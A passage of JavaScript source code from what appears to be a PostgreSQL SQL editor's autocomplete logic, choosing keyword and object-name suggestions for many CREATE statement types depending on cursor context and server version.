[autocompleteQuery.allcolumns];\n \n } else if ((arrPreviousWords[1] === 'ALTER' || arrPreviousWords[1] === 'COLUMN')\n && bolFirstSpace) {\n arrQueries = [['SET DEFAULT', 'DROP DEFAULT']];\n \n } else if (autocompleteSearchBackForWord(strScript, intCursorPosition, 'SET') && (bolCurrentCharOpenParen || bolAfterComma)) {\n if (parseFloat(contextData.minorVersionNumber, 10) >= 9.3) {\n arrQueries = [['check_option=\\'local\\'', 'check_option=\\'cascaded\\'', 'security_barrier=TRUE', 'security_barrier=FALSE']];\n } else {\n arrQueries = [['security_barrier=TRUE', 'security_barrier=FALSE']];\n }\n \n } else if (autocompleteSearchBackForWord(strScript, intCursorPosition, 'RESET') && (bolCurrentCharOpenParen || bolAfterComma)) {\n if (parseFloat(contextData.minorVersionNumber, 10) >= 9.3) {\n arrQueries = [['check_option', 'security_barrier']];\n } else {\n arrQueries = [['security_barrier']];\n }\n }\n \n } else if ((/^(CREATE)\\s*$/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'CREATE' && bolFirstSpace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [['AGGREGATE', 'CAST', 'COLLATION', 'CONVERSION', 'DEFAULT CONVERSION', 'DATABASE', 'DOMAIN', 'EVENT TRIGGER', 'EXTENSION', 'FOREIGN DATA WRAPPER', 'FOREIGN TABLE', 'FUNCTION', 'OR REPLACE FUNCTION', 'GROUP', 'INDEX', 'UNIQUE INDEX', 'OR REPLACE TRUSTED LANGUAGE', 'TRUSTED LANGUAGE', 'LANGUAGE', 'MATERIALIZED VIEW', 'OPERATOR', 'OPERATOR CLASS', 'OPERATOR FAMILY', 'POLICY', 'ROLE', 'RULE', 'OR REPLACE RULE', 'SCHEMA', 'SEQUENCE', 'TEMP SEQUENCE', 'SERVER', 'TABLE', 'TABLE AS', 'TABLESPACE', 'TEXT SEARCH CONFIGURATION', 'TEXT SEARCH DICTIONARY', 'TEXT SEARCH PARSER', 'TEXT SEARCH TEMPLATE', 'TRANSFORM', 'OR REPLACE TRANSFORM', 'TRIGGER', 'CONSTRAINT TRIGGER', 'TYPE', 'USER', 'USER MAPPING', 'VIEW']];\n }\n \n } else if ((/^(CREATE\\s*AGGREGATE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'AGGREGATE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (intOpenParen === 1 && (bolAfterComma || bolCurrentCharOpenParen)) {\n if (parseFloat(contextData.minorVersionNumber, 10) >= 9.4) {\n arrQueries = [['IN', 'VARIADIC'], autocompleteQuery.types];\n } else {\n arrQueries = [autocompleteQuery.types];\n }\n } else if (parseFloat(contextData.minorVersionNumber, 10) >= 9.4 &&\n (arrPreviousWords[1] + arrPreviousWords[0]) === 'ORDERBY'\n && bolFirstSpace) {\n arrQueries = [['IN', 'VARIADIC'], autocompleteQuery.types];\n } else if (parseFloat(contextData.minorVersionNumber, 10) >= 9.4 &&\n (strScript.match(/\\(/gi) || []).length === 1 && bolCurrentCharWhitespace) {\n arrQueries = [['ORDER BY'], autocompleteQuery.types];\n \n } else if (intOpenParen >= 2\n && (strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t' || strCurrentLine.trim() === ',')) {\n if (parseFloat(contextData.minorVersionNumber, 10) >= 9.4) {\n arrQueries = [['SFUNC =', 'STYPE =', 'SSPACE =', 'FINALFUNC =', 'FINALFUNC_EXTRA', 'INITCOND =', 'HYPOTHETICAL', 'MSFUNC =', 'MINVFUNC =', 'MSTYPE =', 'MSSPACE =', 'MFINALFUNC =', 'MFINALFUNC_EXTRA', 'MINITCOND =', 'SORTOP =']];\n \n } else {\n arrQueries = [['SFUNC =', 'STYPE =', 'FINALFUNC =', 'INITCOND =', 'SORTOP =']];\n }\n } else if ((/FUNC\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.schemas];\n } else if ((/TYPE\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.types];\n } else if ((/OP\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.operators];\n }\n \n } else if ((/^(CREATE\\s*CAST)/gi).test(strSearchQuery)) {\n if (intCloseParen === 0 && ((strPreviousWord === 'AS' && bolFirstSpace) || bolCurrentCharOpenParen)) {\n arrQueries = [autocompleteQuery.types];\n \n } else if (!autocompleteSearchBackForWord(strScript, intCursorPosition, 'FUNCTION') && bolFirstSpace && intCloseParen === 1) {\n arrQueries = [['WITH FUNCTION', 'WITHOUT FUNCTION', 'WITH INOUT']];\n \n } else if ((arrPreviousWords[1] + strPreviousWord) === 'WITHFUNCTION' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((\n (autocompleteSearchBackForWord(strScript, intCursorPosition, 'WITH') && intCloseParen === 2)\n || (autocompleteSearchBackForWord(strScript, intCursorPosition, 'WITHOUT') && intCloseParen === 1)\n ) && !(/ASSIGNMENT|IMPLICIT/gi).test(strPreviousWord) && bolFirstSpace) {\n arrQueries = [['AS ASSIGNMENT', 'AS IMPLICIT']];\n }\n \n } else if ((/^(CREATE\\s*COLLATION)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'COLLATION' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (intOpenParen === 1\n && (strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t' || strCurrentLine.trim() === ',')) {\n arrQueries = [['LOCALE =', 'LC_COLLATE =', 'LC_CTYPE =']];\n }\n \n } else if ((/^(CREATE\\s*CONVERSION|CREATE\\s*DEFAULT\\s*CONVERSION)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'CONVERSION' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousWords[1] === 'CONVERSION' && bolFirstSpace) {\n arrQueries = [['FOR']];\n \n } else if ((strPreviousWord === 'FOR' || strPreviousWord === 'TO') && bolFirstSpace) {\n arrQueries = [autocompleteQuery.encodings];\n \n } else if (arrPreviousWords[1] === 'FOR' && bolFirstSpace) {\n arrQueries = [['TO']];\n \n } else if (arrPreviousWords[1] === 'TO' && bolFirstSpace) {\n arrQueries = [['FROM']];\n \n } else if (strPreviousWord === 'FROM' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (intOpenParen === 1\n && (strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t' || strCurrentLine.trim() === ',')) {\n arrQueries = [['LOCALE =', 'LC_COLLATE =', 'LC_CTYPE =']];\n }\n \n } else if ((/^(CREATE\\s*DATABASE)/gi).test(strSearchQuery)) {\n if (arrPreviousWords[1] === 'DATABASE' && bolFirstSpace) {\n arrQueries = [['WITH']];\n \n } else if ((strPreviousWord === 'WITH' && bolFirstSpace && !bolCurrentCharReturn)\n || (strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t' || strCurrentLine.trim() === ',')) {\n arrQueries = [['OWNER =', 'TEMPLATE =', 'ENCODING =', 'LC_COLLATE =', 'LC_CTYPE =', 'TABLESPACE =', 'ALLOW_CONNECTIONS =', 'CONNECTION =', 'IS_TEMPLATE =']];\n \n } else if ((/ENCODING\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.encodings];\n } else if ((/COLLATE\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.collates];\n } else if ((/TYPE\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.types];\n } else if ((/TABLESPACE\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.tablespace];\n } else if ((/IS_TEMPLATE\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [['TRUE', 'FALSE']];\n } else if ((/ALLOW_CONNECTIONS\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [['TRUE', 'FALSE']];\n } else if ((/TEMPLATE\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.databases];\n }\n \n } else if ((/^(CREATE\\s*DOMAIN)/gi).test(strSearchQuery)) {\n if (arrPreviousWords[1] === 'DOMAIN' && bolFirstSpace && !bolCurrentCharReturn) {\n arrQueries = [['AS']];\n \n } else if ((strPreviousWord === 'AS' && bolFirstSpace && !bolCurrentCharReturn)) {\n arrQueries = [autocompleteQuery.types];\n \n } else if (arrPreviousWords[1] === 'AS' && bolFirstSpace && !bolCurrentCharReturn) {\n arrQueries = [['COLLATE', 'DEFAULT']];\n \n } else if (strPreviousWord === 'COLLATE' && bolFirstSpace && !bolCurrentCharReturn) {\n arrQueries = [autocompleteQuery.collates];\n \n } else if ((strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t' || strCurrentLine.trim() === ',')) {\n arrQueries = [['CONSTRAINT', 'NOT NULL', 'NULL', 'CHECK']];\n \n } else if (strPreviousWord === 'CONSTRAINT' && bolFirstSpace && !bolCurrentCharReturn) {\n arrQueries = [autocompleteQuery.constraints];\n \n } else if (arrPreviousWords[1] === 'CONSTRAINT' && bolFirstSpace && !bolCurrentCharReturn) {\n arrQueries = [['NOT NULL', 'NULL', 'CHECK']];\n }\n \n } else if ((/^(CREATE\\s*EVENT\\s*TRIGGER)/gi).test(strSearchQuery)) {\n if (intVersion >= 9.3) {\n if (arrPreviousWords[1] === 'TRIGGER' && bolFirstSpace && !bolCurrentCharReturn) {\n arrQueries = [['ON']];\n \n } else if ((strPreviousWord === 'ON' && bolFirstSpace && !bolCurrentCharReturn)) {\n arrQueries = [['ddl_command_start', 'ddl_command_end', 'table_rewrite', 'sql_drop']];\n \n } else if (arrPreviousWords[1] === 'ON' && bolFirstSpace && !bolCurrentCharReturn) {\n arrQueries = [['WHEN TAG IN', 'EXECUTE PROCEDURE']];\n \n } else if ((strPreviousWord === 'PROCEDURE' && bolFirstSpace && !bolCurrentCharReturn)) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((strPreviousWord[strPreviousWord.length - 1] === ')' && bolFirstSpace)) {\n arrQueries = [['AND WHEN TAG IN', 'EXECUTE PROCEDURE']];\n }\n }\n \n } else if ((/^(CREATE\\s*EXTENSION)/gi).test(strSearchQuery)) {\n if ((strPreviousWord === 'EXTENSION' && bolFirstSpace && !bolCurrentCharReturn)) {\n arrQueries = [['IF NOT EXISTS']];\n \n } else if ((/(EXISTS|EXTENSION)/gi).test(arrPreviousWords[1]) && bolFirstSpace && !bolCurrentCharReturn) {\n arrQueries = [['WITH']];\n \n } else if ((strPreviousWord === 'SCHEMA' && bolFirstSpace && !bolCurrentCharReturn)) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((strPreviousWord === 'WITH' || (/(SCHEMA|VERSION|FROM)/gi).test(arrPreviousWords[1]))\n && bolCurrentCharWhitespace && !bolCurrentCharReturn) {\n arrQueries = [['SCHEMA', 'VERSION', 'FROM']];\n }\n \n } else if ((/^(CREATE\\s*FOREIGN\\s*DATA\\s*WRAPPER)/gi).test(strSearchQuery)) {\n if ((strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t' || strCurrentLine.trim() === ',')) {\n arrQueries = [['HANDLER', 'VALIDATOR', 'OPTIONS']];\n \n } else if (arrPreviousWords[1] !== 'NO' && strPreviousWord === 'HANDLER' && bolFirstSpace && !bolCurrentCharReturn) {\n arrQueries = [['NO HANDLER'], autocompleteQuery.schemas];\n \n } else if (arrPreviousWords[1] !== 'NO' && strPreviousWord === 'VALIDATOR' && bolFirstSpace && !bolCurrentCharReturn) {\n arrQueries = [['NO VALIDATOR'], autocompleteQuery.schemas];\n }\n \n } else if ((/^(CREATE\\s*FOREIGN\\s*TABLE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'TABLE') {\n arrQueries = [['IF NOT EXISTS']];\n \n } else if (strPreviousWord === 'EXISTS') {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (intParenLevel === 1 && strCurrentLine.trim() === strPreviousWord && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if (intParenLevel === 1 && strCurrentLine.trim() === '') {\n arrQueries = [['CONSTRAINT', 'CHECK']];\n \n } else if (autocompleteGlobals.arrTypes.indexOf(strPreviousWord.toLowerCase()) !== -1 && bolFirstSpace) {\n arrQueries = [['OPTIONS', 'COLLATE', 'CONSTRAINT', 'NOT NULL', 'NULL', 'CHECK', 'DEFAULT']];\n \n } else if (arrPreviousWords[1] === 'CONSTRAINT' && bolFirstSpace) {\n arrQueries = [['NOT NULL', 'NULL', 'CHECK', 'DEFAULT']];\n \n } else if (strPreviousWord === 'COLLATE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.collates];\n \n } else if (intParenLevel === 0 && strPreviousWord[strPreviousWord.length - 1] === ')' && bolFirstSpace) {\n arrQueries = [['INHERITS', 'SERVER', 'OPTIONS']];\n \n } else if (strPreviousWord === 'SERVER' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.servers];\n }\n \n } else if ((/^(CREATE\\s*FUNCTION|CREATE\\s*OR\\s*REPLACE\\s*FUNCTION)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'FUNCTION' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'RETURNS' && bolFirstSpace) {\n arrQueries = [['TABLE'], autocompleteQuery.types];\n \n } else if (autocompleteSearchBackForWord(strScript, intCursorPosition, 'TABLE')\n && (bolCurrentCharWhitespace && intParenLevel === 1) || (bolCurrentCharOpenParen || bolAfterComma)) {\n arrQueries = [autocompleteQuery.types];\n \n } else if ((bolCurrentCharWhitespace && intParenLevel === 1) || (bolCurrentCharOpenParen || bolAfterComma)) {\n arrQueries = [autocompleteQuery.types];\n \n } else if (strPreviousWord === 'LANGUAGE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.language];\n \n } else if (strPreviousWord === 'TYPE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if (strPreviousWord === 'SET' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.settings];\n \n } else if (arrPreviousWords[1] === 'SET' && bolFirstSpace) {\n arrQueries = [['TO', 'FROM CURRENT']];\n }\n \n } else if ((/^(CREATE\\s*GROUP)/gi).test(strSearchQuery)) {\n if (arrPreviousWords[1] === 'GROUP' && !autocompleteSearchBackForWord(strScript, intCursorPosition, 'WITH') && bolFirstSpace) {\n arrQueries = [['WITH']];\n } else if ((/^(ROLE|GROUP|ADMIN|USER)$/gi).test(strPreviousWord) || bolAfterComma) {\n arrQueries = [autocompleteQuery.roles];\n } else if (autocompleteSearchBackForWord(strScript, intCursorPosition, 'WITH') && bolCurrentCharWhitespace) {\n arrQueries = [['SUPERUSER', 'NOSUPERUSER', 'CREATEDB', 'NOCREATEDB', 'CREATEROLE', 'NOCREATEROLE', 'CREATEUSER', 'NOCREATEUSER', 'INHERIT', 'NOINHERIT', 'LOGIN', 'NOLOGIN', 'ENCRYPTED PASSWORD', 'UNENCRYPTED PASSWORD', 'VALID UNTIL', 'IN ROLE', 'IN GROUP', 'ROLE', 'ADMIN', 'USER']];\n }\n \n } else if ((/^(CREATE\\s*INDEX|CREATE\\s*UNIQUE\\s*INDEX)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'ON' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'USING' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.access_methods];\n \n } else if (strPreviousWord === 'COLLATE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.collates];\n \n } else if (strPreviousWord === 'TABLESPACE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.tablespace];\n \n } else if (autocompleteSearchBackForWord(strScript, intCursorPosition, 'WITH')\n && !autocompleteSearchBackForWord(strScript, intCursorPosition, 'WHERE')\n && (bolCurrentCharOpenParen || bolAfterComma)) {\n arrQueries = [['buffering =', 'fillfactor =', 'fastupdate =', 'gin_pending_list_limit =', 'pages_per_range =']];\n }\n \n } else if ((/^(CREATE[\\s(OR|REPLACE|PROCEDURAL|TRUSTED)]*LANGUAGE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'HANDLER' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n } else if (strPreviousWord === 'INLINE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n } else if (strPreviousWord === 'VALIDATOR' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n } else if ((strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t')) {\n arrQueries = [['HANDLER', 'INLINE', 'VALIDATOR']];\n }\n \n } else if ((/^(CREATE\\s*MATERIALIZED\\s*VIEW)/gi).test(strSearchQuery)) {\n if (intVersion >= 9.3) {\n if (strPreviousWord === 'VIEW' && bolFirstSpace) {\n arrQueries = [['IF NOT EXISTS'], autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'EXISTS' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'TABLESPACE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.tablespace];\n \n } else if (autocompleteSearchBackForWord(strScript, intCursorPosition, 'WITH')\n && !autocompleteSearchBackForWord(strScript, intCursorPosition, 'SELECT')\n && (bolCurrentCharOpenParen || bolAfterComma)) {\n arrQueries = [['fillfactor', 'autovacuum_enabled', 'toast.autovacuum_enabled', 'autovacuum_vacuum_threshold', 'toast.autovacuum_vacuum_threshold', 'autovacuum_vacuum_scale_factor', 'toast.autovacuum_vacuum_scale_factor', 'autovacuum_analyze_threshold', 'autovacuum_analyze_scale_factor', 'autovacuum_vacuum_cost_delay', 'toast.autovacuum_vacuum_cost_delay', 'autovacuum_vacuum_cost_limit', 'toast.autovacuum_vacuum_cost_limit', 'autovacuum_freeze_min_age', 'toast.autovacuum_freeze_min_age', 'autovacuum_freeze_max_age', 'toast.autovacuum_freeze_max_age', 'autovacuum_freeze_table_age', 'toast.autovacuum_freeze_table_age', 'autovacuum_multixact_freeze_min_age', 'toast.autovacuum_multixact_freeze_min_age', 'autovacuum_multixact_freeze_max_age', 'toast.autovacuum_multixact_freeze_max_age', 'autovacuum_multixact_freeze_table_age', 'toast.autovacuum_multixact_freeze_table_age', 'log_autovacuum_min_duration', 'toast.log_autovacuum_min_duration', 'user_catalog_table']];\n }\n }\n \n } else if ((/^(CREATE\\s*OPERATOR\\s*CLASS)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'CLASS' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousWords[1] === 'CLASS' && bolFirstSpace) {\n arrQueries = [['FOR TYPE', 'DEFAULT FOR TYPE']];\n \n } else if (strPreviousWord === 'TYPE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if (arrPreviousWords[1] === 'TYPE' && bolFirstSpace) {\n arrQueries = [['USING']];\n \n } else if (strPreviousWord === 'USING' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.access_methods];\n \n } else if (strPreviousWord === 'FAMILY' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'STORAGE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if (arrPreviousWords[1] === 'OPERATOR' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousWord[1] === 'BY' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.btree_operator_families];\n \n } else if ((strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t' ||\n (strCurrentLine.trim() === ',' && bolFirstSpace))) {\n arrQueries = [['OPERATOR','FUNCTION','STORAGE']];\n }\n \n } else if ((/^(CREATE\\s*OPERATOR\\s*FAMILY)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'FAMILY' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousWords[1] === 'FAMILY' && bolFirstSpace) {\n arrQueries = [['USING']];\n \n } else if (strPreviousWord === 'USING' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.access_methods];\n }\n \n } else if ((/^(CREATE\\s*OPERATOR)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'OPERATOR' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (intParenLevel === 1\n && (strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t' ||\n (strCurrentLine.trim() === ',' && bolFirstSpace))) {\n arrQueries = [['PROCEDURE =','LEFTARG =','RIGHTARG =','COMMUTATOR =','NEGATOR =','RESTRICT =','JOIN =','HASHES','MERGES']];\n \n } else if ((/(PROCEDURE|JOIN|RESTRICT)\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.schemas];\n } else if ((/(COMMUTATOR|NEGATOR)\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.schemas];\n } else if ((/ARG\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.types];\n }\n \n } else if ((/^(CREATE\\s*POLICY)/gi).test(strSearchQuery)) {\n if (intVersion >= 9.5) {\n if (strPreviousWord === 'POLICY') {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousWords[1] === 'POLICY' && bolFirstSpace) {\n arrQueries = [['ON']];\n \n } else if (strPreviousWord === 'ON' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t')) {\n arrQueries = [['FOR', 'TO', 'USING', 'WITH CHECK']];\n \n } else if (strPreviousWord === 'FOR' && bolFirstSpace) {\n arrQueries = [['ALL', 'SELECT', 'INSERT', 'UPDATE', 'DELETE']];\n \n } else if (strPreviousWord === 'TO' && bolFirstSpace) {\n arrQueries = [['PUBLIC', 'CURRENT_USER', 'SESSION_USER'], autocompleteQuery.roles];\n }\n }\n \n } else if ((/^(CREATE\\s*ROLE)/gi).test(strSearchQuery)) {\n if (arrPreviousWords[1] === 'ROLE' && !autocompleteSearchBackForWord(strScript, intCursorPosition, 'WITH') && bolFirstSpace) {\n arrQueries = [['WITH']];\n } else if (((/^(ROLE|GROUP|ADMIN|USER)$/gi).test(strPreviousWord) || bolAfterComma)\n && autocompleteSearchBackForWord(strScript, intCursorPosition, 'WITH')) {\n arrQueries = [autocompleteQuery.roles];\n } else if (autocompleteSearchBackForWord(strScript, intCursorPosition, 'WITH') && bolCurrentCharWhitespace) {\n arrQueries = [['SUPERUSER','NOSUPERUSER','CREATEDB','NOCREATEDB','CREATEROLE','NOCREATEROLE','CREATEUSER','NOCREATEUSER','INHERIT','NOINHERIT','LOGIN','NOLOGIN','REPLICATION','NOREPLICATION','BYPASSRLS','NOBYPASSRLS','CONNECTION LIMIT','ENCRYPTED PASSWORD','UNENCRYPTED PASSWORD','VALID UNTIL','IN ROLE','IN GROUP','ROLE','ADMIN','USER']];\n }\n \n } else if ((/^(CREATE\\s*RULE|CREATE\\s*OR\\s*REPLACE\\s*RULE)/gi).test(strSearchQuery)) {\n if (arrPreviousWords[1] === 'RULE' && bolFirstSpace) {\n arrQueries = [['AS ON']];\n \n } else if (strPreviousWord === 'ON' && bolFirstSpace) {\n arrQueries = [['SELECT', 'INSERT', 'UPDATE', 'DELETE']];\n \n } else if (arrPreviousWords[1] === 'ON' && bolFirstSpace) {\n arrQueries = [['TO']];\n \n } else if (strPreviousWord === 'TO' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousWords[1] === 'TO' && bolFirstSpace) {\n arrQueries = [['WHERE', 'DO']];\n \n } else if (strPreviousWord === 'DO' && bolFirstSpace) {\n arrQueries = [['ALSO', 'INSTEAD', 'NOTHING', 'SELECT', 'INSERT', 'UPDATE', 'DELETE', 'NOTIFY']];\n \n } else if ((/(ALSO|INSTEAD)/).test(strPreviousWord) && bolFirstSpace) {\n arrQueries = [['NOTHING', 'SELECT', 'INSERT', 'UPDATE', 'DELETE', 'NOTIFY']];\n }\n \n } else if ((/^(CREATE\\s*SCHEMA)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'SCHEMA' && bolFirstSpace) {\n arrQueries = [['IF NOT EXISTS']];\n \n } else if ((arrPreviousWords[1] === 'SCHEMA' || arrPreviousWords[1] === 'EXISTS') && bolFirstSpace) {\n arrQueries = [['AUTHORIZATION']];\n \n } else if (strPreviousWord === 'AUTHORIZATION' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.roles];\n }\n \n } else if ((/^(CREATE\\s*SEQUENCE|CREATE\\s*TEMP\\s*SEQUENCE|CREATE\\s*TEMPORARY\\s*SEQUENCE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'SEQUENCE' && bolFirstSpace) {\n arrQueries = [['IF NOT EXISTS'], autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'EXISTS' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t')) {\n arrQueries = [['INCREMENT BY','MINVALUE','MAXVALUE','NO MINVALUE','NO MAXVALUE','START WITH','CACHE','CYCLE','NO CYCLE','OWNED BY']];\n \n } else if ((arrPreviousWords[1] + strPreviousWord) === 'OWNEDBY' && bolFirstSpace) {\n arrQueries = [['NONE'], autocompleteQuery.schemas];\n }\n \n } else if ((/^(CREATE\\s*SERVER)/gi).test(strSearchQuery)) {\n if (arrPreviousWords[1] === 'SERVER'\n && (\n (bolFirstSpace && !bolCurrentCharReturn)\n || (strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t')\n )) {\n arrQueries = [['TYPE', 'VERSION', 'FOREIGN DATA WRAPPER']];\n \n } else if (arrPreviousWords[1] === 'TYPE'\n && (\n (bolFirstSpace && !bolCurrentCharReturn)\n || (strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t')\n )) {\n arrQueries = [['VERSION', 'FOREIGN DATA WRAPPER']];\n \n } else if (arrPreviousWords[1] === 'VERSION'\n && (\n (bolFirstSpace && !bolCurrentCharReturn)\n || (strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t')\n )) {\n arrQueries = [['FOREIGN DATA WRAPPER']];\n \n } else if (strPreviousWord === 'WRAPPER' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.foreign_data_wrapper];\n \n } else if (arrPreviousWords[1] === 'WRAPPER'\n && (\n (bolFirstSpace && !bolCurrentCharReturn)\n || (strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t')\n )) {\n arrQueries = [['OPTIONS']];\n }\n \n } else if ((/^(CREATE\\s*TABLESPACE)/gi).test(strSearchQuery)) {\n if (arrPreviousWords[1] === 'TABLESPACE' && bolFirstSpace) {\n arrQueries = [['OWNER', 'LOCATION', 'WITH']];\n \n } else if (arrPreviousWords[1] === 'OWNER' && bolFirstSpace) {\n arrQueries = [['LOCATION', 'WITH']];\n \n } else if (arrPreviousWords[1] === 'LOCATION' && bolFirstSpace) {\n arrQueries = [['WITH']];\n \n } else if (strPreviousWord === 'OWNER') {\n if (parseFloat(contextData.minorVersionNumber, 10) >= 9.5) {\n arrQueries = [['CURRENT_USER', 'SESSION_USER'], autocompleteQuery.roles];\n } else {\n arrQueries = [autocompleteQuery.roles];\n }\n \n } else if (bolCurrentCharOpenParen || bolAfterComma) {\n arrQueries = [['seq_page_cost =', 'random_page_cost =']];\n }\n \n } else if ((/^(CREATE[\\s(GLOBAL|LOCAL|TEMPORARY|TEMP|UNLOGGED)]*TABLE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'TABLE' && bolFirstSpace) {\n arrQueries = [['IF NOT EXISTS'], autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'EXISTS' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'OF' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if (strPreviousWord === 'COLLATE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if (strPreviousWord === 'LIKE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousWords[1] === 'LIKE' && bolFirstSpace) {\n arrQueries = [['INCLUDING', 'EXCLUDING']];\n \n } else if ((strPreviousWord === 'INCLUDING' || strPreviousWord === 'EXCLUDING') && bolFirstSpace) {\n arrQueries = [['DEFAULTS', 'CONSTRAINTS', 'INDEXES', 'STORAGE', 'COMMENTS', 'ALL']];\n \n } else if (strPreviousKeyWord === 'INHERITS' && (bolCurrentCharOpenParen || bolAfterComma)) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousKeyWord === 'WITH' && (bolCurrentCharOpenParen || bolAfterComma)) {\n arrQueries = [['fillfactor', 'autovacuum_enabled', 